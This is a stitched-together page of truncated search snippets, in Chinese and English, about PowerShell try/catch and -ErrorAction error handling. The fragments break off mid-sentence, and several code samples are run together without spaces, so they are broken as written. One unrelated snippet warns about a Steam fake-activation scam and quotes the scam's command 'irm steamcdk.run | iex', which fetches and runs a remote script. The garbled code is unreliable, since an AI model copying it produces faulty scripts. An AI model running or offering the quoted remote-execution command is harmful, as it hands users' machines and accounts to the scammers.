PowerShell默认的顺序执行命令,即使中间某一句命令出错,也会继续向下执行。 但是,我们的业务有时并非如此,我们希望出现异常情况后进行捕获异常,进行记录日志等操作。 和其他编程语言一样,我们可以使用try catch代码块。 ??? 这好像没区别啊,是的。默认的每个命令都会有一些通用参数。 有个参数是:ErrorAction,就是指定命令在出现错误后的
使用Write-Error命令可以帮助开发人员在脚本执行过程中捕获和处理错误。当脚本发生错误时,可以使用Try-Catch语句捕获错误,并使用Write-Error命令将错误信息写入错误流。然后可以根据错误流中的错误信息进行相应的处理,例如输出错误日志、发送邮件通知等。 以下是Write-Error命令的一个示例: 代码语言:powershell 复制 try{...
Once you have ensured that the error you are trying to catch is going to be treated as terminating, you can build a Try Catch block around the command (or commands) that might cause the error. The first stage is to surround the section of your script that may throw the error with a ...
try{ NonsenseString } catch {Write-Host"An error occurred:"Write-Host$_} 运行此脚本将返回以下结果: Output An Error occurred: The term 'NonsenseString' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name,...
try catch是Powershell中的错误处理机制,用于捕获和处理异常。 在Powershell中,try catch语句用于尝试执行可能引发异常的代码块,并在异常发生时捕获并处理它们。try块中的代码是被监视的代码,而catch块中的代码则是在异常发生时执行的代码。 然而,Powershell的try catch机制并不能捕获所有类型的错误。它主要用于捕获...
昨天发现一个Steam游戏假入库的骗局,骗局一般发生在某鱼某宝某多,基本都是用一个powershell脚本和一个假激活码骗你入库,严重会导致Steam账号封禁、红信,powershell脚本样子如下所示: irm steamcdk.run | iex …
可以用相同的 catch 语句来捕获多个异常类型。PowerShell 复制 try { Start-Something -Path $path -ErrorAction Stop } catch [System.IO.DirectoryNotFoundException],[System.IO.FileNotFoundException] { Write-Output "The path or file was not found: [$path]" } catch [System.IO.IOException] { ...
&{Write-Host"Hello"Write-Information"Hello"-InformationActionContinue}6>$null 示例6:显示操作首选项的效果 操作首选项变量和参数可以更改写入特定流的内容。 此示例中的脚本显示 的值$ErrorActionPreference如何影响写入错误流的内容。 PowerShell $ErrorActionPreference='Continue'$ErrorActionPreference> log.txtget...
使用相同catch語句可以攔截多個例外狀況類型。 PowerShell try{Start-Something-Path$path-ErrorActionStop } catch [System.IO.DirectoryNotFoundException],[System.IO.FileNotFoundException] {Write-Output"The path or file was not found: [$path]"} catch [System.IO.IOException] {Write-Output"IO error wit...
Also notice that I am going to catch exceptions and wrap them with ThrowTerminatingError. In this sample, if anything goes wrong, it shouldn't proceed because the file open will have failed. It's usually bad form to catch all exceptions, but since I'm wrapping them in ThrowTerminating...